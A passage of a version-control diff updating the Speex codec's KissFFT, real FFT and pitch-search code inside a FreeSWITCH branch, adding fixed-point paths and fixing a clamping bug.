-            buf = (kiss_fft_cpx*)KISS_FFT_MALLOC(sizeof(kiss_fft_cpx)*(n)); \
-            nbuf = (size_t)(n); \
-        } \
-   }while(0)
-        
 static void kf_bfly2(
         kiss_fft_cpx * Fout,
         const size_t fstride,
         const kiss_fft_cfg st,
-        int m
+        int m,
+        int N,
+        int mm
         )
 {
     kiss_fft_cpx * Fout2;
-    kiss_fft_cpx * tw1 = st->twiddles;
+    kiss_fft_cpx * tw1;
     kiss_fft_cpx t;
-    Fout2 = Fout + m;
     if (!st->inverse) {
-       int i;
-       kiss_fft_cpx *x=Fout;
-       for (i=0;i<2*m;i++)
+       int i,j;
+       kiss_fft_cpx * Fout_beg = Fout;
+       for (i=0;i<N;i++)
        {
-          x[i].r = SHR(x[i].r,1);
-          x[i].i = SHR(x[i].i,1);
+          Fout = Fout_beg + i*mm;
+          Fout2 = Fout + m;
+          tw1 = st->twiddles;
+          for(j=0;j<m;j++)
+          {
+             /* Almost the same as the code path below, except that we divide the input by two
+              (while keeping the best accuracy possible) */
+             spx_word32_t tr, ti;
+             tr = SHR32(SUB32(MULT16_16(Fout2->r , tw1->r),MULT16_16(Fout2->i , tw1->i)), 1);
+             ti = SHR32(ADD32(MULT16_16(Fout2->i , tw1->r),MULT16_16(Fout2->r , tw1->i)), 1);
+             tw1 += fstride;
+             Fout2->r = PSHR32(SUB32(SHL32(EXTEND32(Fout->r), 14), tr), 15);
+             Fout2->i = PSHR32(SUB32(SHL32(EXTEND32(Fout->i), 14), ti), 15);
+             Fout->r = PSHR32(ADD32(SHL32(EXTEND32(Fout->r), 14), tr), 15);
+             Fout->i = PSHR32(ADD32(SHL32(EXTEND32(Fout->i), 14), ti), 15);
+             ++Fout2;
+             ++Fout;
+          }
        }
+    } else {
+       int i,j;
+       kiss_fft_cpx * Fout_beg = Fout;
+       for (i=0;i<N;i++)
+       {
+          Fout = Fout_beg + i*mm;
+          Fout2 = Fout + m;
+          tw1 = st->twiddles;
+          for(j=0;j<m;j++)
+          {
+             C_MUL (t,  *Fout2 , *tw1);
+             tw1 += fstride;
+             C_SUB( *Fout2 ,  *Fout , t );
+             C_ADDTO( *Fout ,  t );
+             ++Fout2;
+             ++Fout;
+          }
+       }
     }
-
-    do{
-        C_MUL (t,  *Fout2 , *tw1);
-        tw1 += fstride;
-        C_SUB( *Fout2 ,  *Fout , t );
-        C_ADDTO( *Fout ,  t );
-        ++Fout2;
-        ++Fout;
-    }while (--m);
 }
 
 static void kf_bfly4(
         kiss_fft_cpx * Fout,
         const size_t fstride,
         const kiss_fft_cfg st,
-        const size_t m
+        int m,
+        int N,
+        int mm
         )
 {
     kiss_fft_cpx *tw1,*tw2,*tw3;
     kiss_fft_cpx scratch[6];
-    size_t k=m;
     const size_t m2=2*m;
     const size_t m3=3*m;
+    int i, j;
 
-    tw3 = tw2 = tw1 = st->twiddles;
-
-    if (!st->inverse) {
-       int i;
-       kiss_fft_cpx *x=Fout;
-       for (i=0;i<4*m;i++)
+    if (st->inverse)
+    {
+       kiss_fft_cpx * Fout_beg = Fout;
+       for (i=0;i<N;i++)
        {
-          x[i].r = PSHR16(x[i].r,2);
-          x[i].i = PSHR16(x[i].i,2);
+          Fout = Fout_beg + i*mm;
+          tw3 = tw2 = tw1 = st->twiddles;
+          for (j=0;j<m;j++)
+          {
+             C_MUL(scratch[0],Fout[m] , *tw1 );
+             C_MUL(scratch[1],Fout[m2] , *tw2 );
+             C_MUL(scratch[2],Fout[m3] , *tw3 );
+             
+             C_SUB( scratch[5] , *Fout, scratch[1] );
+             C_ADDTO(*Fout, scratch[1]);
+             C_ADD( scratch[3] , scratch[0] , scratch[2] );
+             C_SUB( scratch[4] , scratch[0] , scratch[2] );
+             C_SUB( Fout[m2], *Fout, scratch[3] );
+             tw1 += fstride;
+             tw2 += fstride*2;
+             tw3 += fstride*3;
+             C_ADDTO( *Fout , scratch[3] );
+             
+             Fout[m].r = scratch[5].r - scratch[4].i;
+             Fout[m].i = scratch[5].i + scratch[4].r;
+             Fout[m3].r = scratch[5].r + scratch[4].i;
+             Fout[m3].i = scratch[5].i - scratch[4].r;
+             ++Fout;
+          }
        }
-    }
-    if (st->inverse)
-    {
-       do {
-          C_MUL(scratch[0],Fout[m] , *tw1 );
-          C_MUL(scratch[1],Fout[m2] , *tw2 );
-          C_MUL(scratch[2],Fout[m3] , *tw3 );
-          
-          C_SUB( scratch[5] , *Fout, scratch[1] );
-          C_ADDTO(*Fout, scratch[1]);
-          C_ADD( scratch[3] , scratch[0] , scratch[2] );
-          C_SUB( scratch[4] , scratch[0] , scratch[2] );
-          C_SUB( Fout[m2], *Fout, scratch[3] );
-          tw1 += fstride;
-          tw2 += fstride*2;
-          tw3 += fstride*3;
-          C_ADDTO( *Fout , scratch[3] );
-
-          Fout[m].r = scratch[5].r - scratch[4].i;
-          Fout[m].i = scratch[5].i + scratch[4].r;
-          Fout[m3].r = scratch[5].r + scratch[4].i;
-          Fout[m3].i = scratch[5].i - scratch[4].r;
-          ++Fout;
-       } while(--k);
     } else
     {
-       do {
-          C_MUL(scratch[0],Fout[m] , *tw1 );
-          C_MUL(scratch[1],Fout[m2] , *tw2 );
-          C_MUL(scratch[2],Fout[m3] , *tw3 );
-          
-          C_SUB( scratch[5] , *Fout, scratch[1] );
-          C_ADDTO(*Fout, scratch[1]);
-          C_ADD( scratch[3] , scratch[0] , scratch[2] );
-          C_SUB( scratch[4] , scratch[0] , scratch[2] );
-          C_SUB( Fout[m2], *Fout, scratch[3] );
-          tw1 += fstride;
-          tw2 += fstride*2;
-          tw3 += fstride*3;
-          C_ADDTO( *Fout , scratch[3] );
-          
-          Fout[m].r = scratch[5].r + scratch[4].i;
-          Fout[m].i = scratch[5].i - scratch[4].r;
-          Fout[m3].r = scratch[5].r - scratch[4].i;
-          Fout[m3].i = scratch[5].i + scratch[4].r;
-          ++Fout;
-       }while(--k);
+       kiss_fft_cpx * Fout_beg = Fout;
+       for (i=0;i<N;i++)
+       {
+          Fout = Fout_beg + i*mm;
+          tw3 = tw2 = tw1 = st->twiddles;
+          for (j=0;j<m;j++)
+          {
+             C_MUL4(scratch[0],Fout[m] , *tw1 );
+             C_MUL4(scratch[1],Fout[m2] , *tw2 );
+             C_MUL4(scratch[2],Fout[m3] , *tw3 );
+             
+             Fout->r = PSHR16(Fout->r, 2);
+             Fout->i = PSHR16(Fout->i, 2);
+             C_SUB( scratch[5] , *Fout, scratch[1] );
+             C_ADDTO(*Fout, scratch[1]);
+             C_ADD( scratch[3] , scratch[0] , scratch[2] );
+             C_SUB( scratch[4] , scratch[0] , scratch[2] );
+             Fout[m2].r = PSHR16(Fout[m2].r, 2);
+             Fout[m2].i = PSHR16(Fout[m2].i, 2);
+             C_SUB( Fout[m2], *Fout, scratch[3] );
+             tw1 += fstride;
+             tw2 += fstride*2;
+             tw3 += fstride*3;
+             C_ADDTO( *Fout , scratch[3] );
+             
+             Fout[m].r = scratch[5].r + scratch[4].i;
+             Fout[m].i = scratch[5].i - scratch[4].r;
+             Fout[m3].r = scratch[5].r - scratch[4].i;
+             Fout[m3].i = scratch[5].i + scratch[4].r;
+             ++Fout;
+          }
+       }
     }
 }
 
@@ -263,10 +286,13 @@
     int u,k,q1,q;
     kiss_fft_cpx * twiddles = st->twiddles;
     kiss_fft_cpx t;
+    kiss_fft_cpx scratchbuf[17];
     int Norig = st->nfft;
 
-    CHECKBUF(scratchbuf,nscratchbuf,p);
-
+    /*CHECKBUF(scratchbuf,nscratchbuf,p);*/
+    if (p>17)
+       speex_fatal("KissFFT: max radix supported is 17");
+    
     for ( u=0; u<m; ++u ) {
         k=u;
         for ( q1=0 ; q1<p ; ++q1 ) {
@@ -291,6 +317,39 @@
         }
     }
 }
+               
+static
+void kf_shuffle(
+         kiss_fft_cpx * Fout,
+         const kiss_fft_cpx * f,
+         const size_t fstride,
+         int in_stride,
+         int * factors,
+         const kiss_fft_cfg st
+            )
+{
+   const int p=*factors++; /* the radix  */
+   const int m=*factors++; /* stage's fft length/p */
+   
+    /*printf ("fft %d %d %d %d %d %d\n", p*m, m, p, s2, fstride*in_stride, N);*/
+   if (m==1)
+   {
+      int j;
+      for (j=0;j<p;j++)
+      {
+         Fout[j] = *f;
+         f += fstride*in_stride;
+      }
+   } else {
+      int j;
+      for (j=0;j<p;j++)
+      {
+         kf_shuffle( Fout , f, fstride*p, in_stride, factors,st);
+         f += fstride*in_stride;
+         Fout += m;
+      }
+   }
+}
 
 static
 void kf_work(
@@ -299,24 +358,34 @@
         const size_t fstride,
         int in_stride,
         int * factors,
-        const kiss_fft_cfg st
+        const kiss_fft_cfg st,
+        int N,
+        int s2,
+        int m2
         )
 {
+   int i;
     kiss_fft_cpx * Fout_beg=Fout;
     const int p=*factors++; /* the radix  */
     const int m=*factors++; /* stage's fft length/p */
-    const kiss_fft_cpx * Fout_end = Fout + p*m;
-
-    if (m==1) {
-        do{
-            *Fout = *f;
-            f += fstride*in_stride;
-        }while(++Fout != Fout_end );
-    }else{
-        do{
-            kf_work( Fout , f, fstride*p, in_stride, factors,st);
-            f += fstride*in_stride;
-        }while( (Fout += m) != Fout_end );
+#if 0
+    /*printf ("fft %d %d %d %d %d %d\n", p*m, m, p, s2, fstride*in_stride, N);*/
+    if (m==1)
+    {
+    /*   int j;
+       for (j=0;j<p;j++)
+       {
+          Fout[j] = *f;
+          f += fstride*in_stride;
+       }*/
+    } else {
+       int j;
+       for (j=0;j<p;j++)
+       {
+          kf_work( Fout , f, fstride*p, in_stride, factors,st, N*p, fstride*in_stride, m);
+          f += fstride*in_stride;
+          Fout += m;
+       }
     }
 
     Fout=Fout_beg;
@@ -328,6 +397,36 @@
         case 5: kf_bfly5(Fout,fstride,st,m); break; 
         default: kf_bfly_generic(Fout,fstride,st,m,p); break;
     }
+#else
+    /*printf ("fft %d %d %d %d %d %d %d\n", p*m, m, p, s2, fstride*in_stride, N, m2);*/
+    if (m==1) 
+    {
+       /*for (i=0;i<N;i++)
+       {
+          int j;
+          Fout = Fout_beg+i*m2;
+          const kiss_fft_cpx * f2 = f+i*s2;
+          for (j=0;j<p;j++)
+          {
+             *Fout++ = *f2;
+             f2 += fstride*in_stride;
+          }
+       }*/
+    }else{
+       kf_work( Fout , f, fstride*p, in_stride, factors,st, N*p, fstride*in_stride, m);
+    }
+
+    
+       
+       
+       switch (p) {
+          case 2: kf_bfly2(Fout,fstride,st,m, N, m2); break;
+          case 3: for (i=0;i<N;i++){Fout=Fout_beg+i*m2; kf_bfly3(Fout,fstride,st,m);} break; 
+          case 4: kf_bfly4(Fout,fstride,st,m, N, m2); break;
+          case 5: for (i=0;i<N;i++){Fout=Fout_beg+i*m2; kf_bfly5(Fout,fstride,st,m);} break; 
+          default: for (i=0;i<N;i++){Fout=Fout_beg+i*m2; kf_bfly_generic(Fout,fstride,st,m,p);} break;
+    }    
+#endif
 }
 
 /*  facbuf is populated by p1,m1,p2,m2, ...
@@ -338,8 +437,6 @@
 void kf_factor(int n,int * facbuf)
 {
     int p=4;
-    double floor_sqrt;
-    floor_sqrt = floor( sqrt((double)n) );
 
     /*factor out powers of 4, powers of 2, then any remaining primes */
     do {
@@ -349,7 +446,7 @@
                 case 2: p = 3; break;
                 default: p += 2; break;
             }
-            if (p > floor_sqrt)
+            if (p>32000 || (spx_int32_t)p*(spx_int32_t)p > n)
                 p = n;          /* no more factors, skip to end */
         }
         n /= p;
@@ -357,7 +454,6 @@
         *facbuf++ = n;
     } while (n > 1);
 }
-
 /*
  *
  * User-callable function to allocate all necessary storage space for the fft.
@@ -382,15 +478,22 @@
         int i;
         st->nfft=nfft;
         st->inverse = inverse_fft;
-
+#ifdef FIXED_POINT
         for (i=0;i<nfft;++i) {
-            const double pi=3.14159265358979323846264338327;
-            double phase = ( -2*pi /nfft ) * i;
-            if (st->inverse)
-                phase *= -1;
-            kf_cexp(st->twiddles+i, phase );
+            spx_word32_t phase = i;
+            if (!st->inverse)
+                phase = -phase;
+            kf_cexp2(st->twiddles+i, DIV32(SHL32(phase,17),nfft));
         }
-
+#else
+        for (i=0;i<nfft;++i) {
+           const double pi=3.14159265358979323846264338327;
+           double phase = ( -2*pi /nfft ) * i;
+           if (st->inverse)
+              phase *= -1;
+           kf_cexp(st->twiddles+i, phase );
+        }
+#endif
         kf_factor(nfft,st->factors);
     }
     return st;
@@ -401,12 +504,15 @@
     
 void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride)
 {
-    if (fin == fout) {
-        CHECKBUF(tmpbuf,ntmpbuf,st->nfft);
-        kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
-        speex_move(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft);
-    }else{
-        kf_work( fout, fin, 1,in_stride, st->factors,st );
+    if (fin == fout) 
+    {
+       speex_fatal("In-place FFT not supported");
+       /*CHECKBUF(tmpbuf,ntmpbuf,st->nfft);
+       kf_work(tmpbuf,fin,1,in_stride, st->factors,st);
+       SPEEX_MOVE(fout,tmpbuf,st->nfft);*/
+    } else {
+       kf_shuffle( fout, fin, 1,in_stride, st->factors,st);
+       kf_work( fout, fin, 1,in_stride, st->factors,st, 1, in_stride, 1);
     }
 }
 
@@ -415,16 +521,3 @@
     kiss_fft_stride(cfg,fin,fout,1);
 }
 
-
-/* not really necessary to call, but if someone is doing in-place ffts, they may want to free the 
-   buffers from CHECKBUF
- */ 
-void kiss_fft_cleanup(void)
-{
-    speex_free(scratchbuf);
-    scratchbuf = NULL;
-    nscratchbuf=0;
-    speex_free(tmpbuf);
-    tmpbuf=NULL;
-    ntmpbuf=0;
-}

Modified: freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,7 +3,7 @@
 
 #include <stdlib.h>
 #include <math.h>
-#include "misc.h"
+#include "arch.h"
 
 #ifdef __cplusplus
 extern "C" {
@@ -32,7 +32,7 @@
 
 
 #ifdef FIXED_POINT
-#include "misc.h"	
+#include "arch.h"	
 #  define kiss_fft_scalar spx_int16_t
 #else
 # ifndef kiss_fft_scalar

Modified: freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,6 +16,7 @@
 #include "config.h"
 #endif
 
+#include "os_support.h"
 #include "kiss_fftr.h"
 #include "_kiss_fft_guts.h"
 
@@ -58,13 +59,22 @@
     st->super_twiddles = st->tmpbuf + nfft;
     kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize);
 
-    for (i = 0; i < nfft; ++i) {
-        double phase =
-            -3.14159265358979323846264338327 * ((double) i / nfft + .5);
-        if (inverse_fft)
-            phase *= -1;
-        kf_cexp (st->super_twiddles+i,phase);
+#ifdef FIXED_POINT
+    for (i=0;i<nfft;++i) {
+       spx_word32_t phase = i+(nfft>>1);
+       if (!inverse_fft)
+          phase = -phase;
+       kf_cexp2(st->super_twiddles+i, DIV32(SHL32(phase,16),nfft));
     }
+#else
+    for (i=0;i<nfft;++i) {
+       const double pi=3.14159265358979323846264338327;
+       double phase = pi*(((double)i) /nfft + .5);
+       if (!inverse_fft)
+          phase = -phase;
+       kf_cexp(st->super_twiddles+i, phase );
+    }
+#endif
     return st;
 }
 
@@ -75,8 +85,7 @@
     kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc;
 
     if ( st->substate->inverse) {
-        speex_warning("kiss fft usage error: improper alloc\n");
-        exit(1);
+        speex_fatal("kiss fft usage error: improper alloc\n");
     }
 
     ncfft = st->substate->nfft;
@@ -124,14 +133,13 @@
     }
 }
 
-void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata)
+void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata, kiss_fft_scalar *timedata)
 {
     /* input buffer timedata is stored row-wise */
     int k, ncfft;
 
     if (st->substate->inverse == 0) {
-        speex_warning ("kiss fft usage error: improper alloc\n");
-        exit (1);
+        speex_fatal("kiss fft usage error: improper alloc\n");
     }
 
     ncfft = st->substate->nfft;
@@ -161,3 +169,129 @@
     }
     kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata);
 }
+
+void kiss_fftr2(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_scalar *freqdata)
+{
+   /* input buffer timedata is stored row-wise */
+   int k,ncfft;
+   kiss_fft_cpx f2k,tdc;
+   spx_word32_t f1kr, f1ki, twr, twi;
+
+   if ( st->substate->inverse) {
+      speex_fatal("kiss fft usage error: improper alloc\n");
+   }
+
+   ncfft = st->substate->nfft;
+
+   /*perform the parallel fft of two real signals packed in real,imag*/
+   kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf );
+    /* The real part of the DC element of the frequency spectrum in st->tmpbuf
+   * contains the sum of the even-numbered elements of the input time sequence
+   * The imag part is the sum of the odd-numbered elements
+   *
+   * The sum of tdc.r and tdc.i is the sum of the input time sequence. 
+   *      yielding DC of input time sequence
+   * The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1... 
+   *      yielding Nyquist bin of input time sequence
+    */
+ 
+   tdc.r = st->tmpbuf[0].r;
+   tdc.i = st->tmpbuf[0].i;
+   C_FIXDIV(tdc,2);
+   CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i);
+   CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i);
+   freqdata[0] = tdc.r + tdc.i;
+   freqdata[2*ncfft-1] = tdc.r - tdc.i;
+
+   for ( k=1;k <= ncfft/2 ; ++k )
+   {
+      /*fpk    = st->tmpbuf[k]; 
+      fpnk.r =   st->tmpbuf[ncfft-k].r;
+      fpnk.i = - st->tmpbuf[ncfft-k].i;
+      C_FIXDIV(fpk,2);
+      C_FIXDIV(fpnk,2);
+
+      C_ADD( f1k, fpk , fpnk );
+      C_SUB( f2k, fpk , fpnk );
+      
+      C_MUL( tw , f2k , st->super_twiddles[k]);
+
+      freqdata[2*k-1] = HALF_OF(f1k.r + tw.r);
+      freqdata[2*k] = HALF_OF(f1k.i + tw.i);
+      freqdata[2*(ncfft-k)-1] = HALF_OF(f1k.r - tw.r);
+      freqdata[2*(ncfft-k)] = HALF_OF(tw.i - f1k.i);
+      */
+
+      /*f1k.r = PSHR32(ADD32(EXTEND32(st->tmpbuf[k].r), EXTEND32(st->tmpbuf[ncfft-k].r)),1);
+      f1k.i = PSHR32(SUB32(EXTEND32(st->tmpbuf[k].i), EXTEND32(st->tmpbuf[ncfft-k].i)),1);
+      f2k.r = PSHR32(SUB32(EXTEND32(st->tmpbuf[k].r), EXTEND32(st->tmpbuf[ncfft-k].r)),1);
+      f2k.i = SHR32(ADD32(EXTEND32(st->tmpbuf[k].i), EXTEND32(st->tmpbuf[ncfft-k].i)),1);
+      
+      C_MUL( tw , f2k , st->super_twiddles[k]);
+
+      freqdata[2*k-1] = HALF_OF(f1k.r + tw.r);
+      freqdata[2*k] = HALF_OF(f1k.i + tw.i);
+      freqdata[2*(ncfft-k)-1] = HALF_OF(f1k.r - tw.r);
+      freqdata[2*(ncfft-k)] = HALF_OF(tw.i - f1k.i);
+   */
+      f2k.r = SHR32(SUB32(EXTEND32(st->tmpbuf[k].r), EXTEND32(st->tmpbuf[ncfft-k].r)),1);
+      f2k.i = PSHR32(ADD32(EXTEND32(st->tmpbuf[k].i), EXTEND32(st->tmpbuf[ncfft-k].i)),1);
+      
+      f1kr = SHL32(ADD32(EXTEND32(st->tmpbuf[k].r), EXTEND32(st->tmpbuf[ncfft-k].r)),13);
+      f1ki = SHL32(SUB32(EXTEND32(st->tmpbuf[k].i), EXTEND32(st->tmpbuf[ncfft-k].i)),13);
+      
+      twr = SHR32(SUB32(MULT16_16(f2k.r,st->super_twiddles[k].r),MULT16_16(f2k.i,st->super_twiddles[k].i)), 1);
+      twi = SHR32(ADD32(MULT16_16(f2k.i,st->super_twiddles[k].r),MULT16_16(f2k.r,st->super_twiddles[k].i)), 1);
+      
+#ifdef FIXED_POINT
+      freqdata[2*k-1] = PSHR32(f1kr + twr, 15);
+      freqdata[2*k] = PSHR32(f1ki + twi, 15);
+      freqdata[2*(ncfft-k)-1] = PSHR32(f1kr - twr, 15);
+      freqdata[2*(ncfft-k)] = PSHR32(twi - f1ki, 15);
+#else
+      freqdata[2*k-1] = .5f*(f1kr + twr);
+      freqdata[2*k] = .5f*(f1ki + twi);
+      freqdata[2*(ncfft-k)-1] = .5f*(f1kr - twr);
+      freqdata[2*(ncfft-k)] = .5f*(twi - f1ki);
+      
+#endif
+   }
+}
+
+void kiss_fftri2(kiss_fftr_cfg st,const kiss_fft_scalar *freqdata,kiss_fft_scalar *timedata)
+{
+   /* input buffer timedata is stored row-wise */
+   int k, ncfft;
+
+   if (st->substate->inverse == 0) {
+      speex_fatal ("kiss fft usage error: improper alloc\n");
+   }
+
+   ncfft = st->substate->nfft;
+
+   st->tmpbuf[0].r = freqdata[0] + freqdata[2*ncfft-1];
+   st->tmpbuf[0].i = freqdata[0] - freqdata[2*ncfft-1];
+   /*C_FIXDIV(st->tmpbuf[0],2);*/
+
+   for (k = 1; k <= ncfft / 2; ++k) {
+      kiss_fft_cpx fk, fnkc, fek, fok, tmp;
+      fk.r = freqdata[2*k-1];
+      fk.i = freqdata[2*k];
+      fnkc.r = freqdata[2*(ncfft - k)-1];
+      fnkc.i = -freqdata[2*(ncfft - k)];
+        /*C_FIXDIV( fk , 2 );
+      C_FIXDIV( fnkc , 2 );*/
+
+      C_ADD (fek, fk, fnkc);
+      C_SUB (tmp, fk, fnkc);
+      C_MUL (fok, tmp, st->super_twiddles[k]);
+      C_ADD (st->tmpbuf[k],     fek, fok);
+      C_SUB (st->tmpbuf[ncfft - k], fek, fok);
+#ifdef USE_SIMD        
+      st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0);
+#else
+      st->tmpbuf[ncfft - k].i *= -1;
+#endif
+   }
+   kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata);
+}

Modified: freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/kiss_fftr.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,7 +32,12 @@
  output freqdata has nfft/2+1 complex points
 */
 
+void kiss_fftr2(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_scalar *freqdata);
+
 void kiss_fftri(kiss_fftr_cfg cfg,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata);
+
+void kiss_fftri2(kiss_fftr_cfg st,const kiss_fft_scalar *freqdata, kiss_fft_scalar *timedata);
+
 /*
  input freqdata has  nfft/2+1 complex points
  output timedata has nfft scalar points

Modified: freeswitch/branches/seven/libs/speex/libspeex/lpc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/lpc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/lpc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,7 @@
 #ifndef LPC_H
 #define LPC_H
 
-#include "misc.h"
+#include "arch.h"
 
 void _spx_autocorr(
               const spx_word16_t * x,   /*  in: [0...n-1] samples x   */

Modified: freeswitch/branches/seven/libs/speex/libspeex/lsp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/lsp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/lsp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -509,7 +509,7 @@
       
       /* hard limit ak's to +/- 32767 */
 
-      if (a < -32767) a = 32767;
+      if (a < -32767) a = -32767;
       if (a > 32767) a = 32767;
       ak[j-1] = (short)a;
      

Modified: freeswitch/branches/seven/libs/speex/libspeex/lsp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/lsp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/lsp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -51,7 +51,7 @@
 #ifndef __AK2LSPD__
 #define __AK2LSPD__
 
-#include "misc.h"
+#include "arch.h"
 
 int lpc_to_lsp (spx_coef_t *a, int lpcrdr, spx_lsp_t *freq, int nb, spx_word16_t delta, char *stack);
 void lsp_to_lpc(spx_lsp_t *freq, spx_coef_t *ak, int lpcrdr, char *stack);

Modified: freeswitch/branches/seven/libs/speex/libspeex/ltp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/ltp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/ltp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -40,6 +40,7 @@
 #include "filters.h"
 #include <speex/speex_bits.h>
 #include "math_approx.h"
+#include "os_support.h"
 
 #ifndef NULL
 #define NULL 0
@@ -176,20 +177,56 @@
    VARDECL(spx_word32_t *best_ener);
    spx_word32_t e0;
    VARDECL(spx_word32_t *corr);
+#ifdef FIXED_POINT
+   /* In fixed-point, we need only one (temporary) array of 32-bit values and two (corr16, ener16) 
+      arrays for (normalized) 16-bit values */
+   VARDECL(spx_word16_t *corr16);
+   VARDECL(spx_word16_t *ener16);
+   spx_word32_t *energy;
+   int cshift=0, eshift=0;
+   int scaledown = 0;
+   ALLOC(corr16, end-start+1, spx_word16_t);
+   ALLOC(ener16, end-start+1, spx_word16_t);
+   ALLOC(corr, end-start+1, spx_word32_t);
+   energy = corr;
+#else
+   /* In floating-point, we need to float arrays and no normalized copies */
    VARDECL(spx_word32_t *energy);
-
+   spx_word16_t *corr16;
+   spx_word16_t *ener16;
+   ALLOC(energy, end-start+2, spx_word32_t);
+   ALLOC(corr, end-start+1, spx_word32_t);
+   corr16 = corr;
+   ener16 = energy;
+#endif
+   
    ALLOC(best_score, N, spx_word32_t);
    ALLOC(best_ener, N, spx_word32_t);
-   ALLOC(corr, end-start+1, spx_word32_t);
-   ALLOC(energy, end-start+2, spx_word32_t);
-
    for (i=0;i<N;i++)
    {
         best_score[i]=-1;
         best_ener[i]=0;
         pitch[i]=start;
    }
-
+   
+#ifdef FIXED_POINT
+   for (i=-end;i<len;i++)
+   {
+      if (ABS16(sw[i])>16383)
+      {
+         scaledown=1;
+         break;
+      }
+   }
+   /* If the weighted input is close to saturation, then we scale it down */
+   if (scaledown)
+   {
+      for (i=-end;i<len;i++)
+      {
+         sw[i]=SHR16(sw[i],1);
+      }
+   }      
+#endif
    energy[0]=inner_prod(sw-start, sw-start, len);
    e0=inner_prod(sw, sw, len);
    for (i=start;i<end;i++)
@@ -199,59 +236,42 @@
       if (energy[i-start+1] < 0)
          energy[i-start+1] = 0;
    }
-
+   
+#ifdef FIXED_POINT
+   eshift = normalize16(energy, ener16, 32766, end-start+1);
+#endif
+   
+   /* In fixed-point, this actually overrites the energy array (aliased to corr) */
    pitch_xcorr(sw, sw-end, corr, len, end-start+1, stack);
-
-   /* FIXME: Fixed-point and floating-point code should be merged */
+   
 #ifdef FIXED_POINT
+   /* Normalize to 180 so we can square it and it still fits in 16 bits */
+   cshift = normalize16(corr, corr16, 180, end-start+1);
+   /* If we scaled weighted input down, we need to scale it up again (OK, so we've just lost the LSB, who cares?) */
+   if (scaledown)
    {
-      VARDECL(spx_word16_t *corr16);
-      VARDECL(spx_word16_t *ener16);
-      ALLOC(corr16, end-start+1, spx_word16_t);
-      ALLOC(ener16, end-start+1, spx_word16_t);
-      /* Normalize to 180 so we can square it and it still fits in 16 bits */
-      normalize16(corr, corr16, 180, end-start+1);
-      normalize16(energy, ener16, 180, end-start+1);
-
-      for (i=start;i<=end;i++)
+      for (i=-end;i<len;i++)
       {
-         spx_word16_t tmp = MULT16_16_16(corr16[i-start],corr16[i-start]);
-         /* Instead of dividing the tmp by the energy, we multiply on the other side */
-         if (MULT16_16(tmp,best_ener[N-1])>MULT16_16(best_score[N-1],ADD16(1,ener16[i-start])))
-         {
-            /* We can safely put it last and then check */
-            best_score[N-1]=tmp;
-            best_ener[N-1]=ener16[i-start]+1;
-            pitch[N-1]=i;
-            /* Check if it comes in front of others */
-            for (j=0;j<N-1;j++)
-            {
-               if (MULT16_16(tmp,best_ener[j])>MULT16_16(best_score[j],ADD16(1,ener16[i-start])))
-               {
-                  for (k=N-1;k>j;k--)
-                  {
-                     best_score[k]=best_score[k-1];
-                     best_ener[k]=best_ener[k-1];
-                     pitch[k]=pitch[k-1];
-                  }
-                  best_score[j]=tmp;
-                  best_ener[j]=ener16[i-start]+1;
-                  pitch[j]=i;
-                  break;
-               }
-            }
-         }
+         sw[i]=SHL16(sw[i],1);
       }
-   }
-#else
+   }      
+#endif
+
+   /* Search for the best pitch prediction gain */
    for (i=start;i<=end;i++)
    {
-      float tmp = corr[i-start]*corr[i-start];
-      if (tmp*best_ener[N-1]>best_score[N-1]*(1+energy[i-start]))
+      spx_word16_t tmp = MULT16_16_16(corr16[i-start],corr16[i-start]);
+      /* Instead of dividing the tmp by the energy, we multiply on the other side */
+      if (MULT16_16(tmp,best_ener[N-1])>MULT16_16(best_score[N-1],ADD16(1,ener16[i-start])))
       {
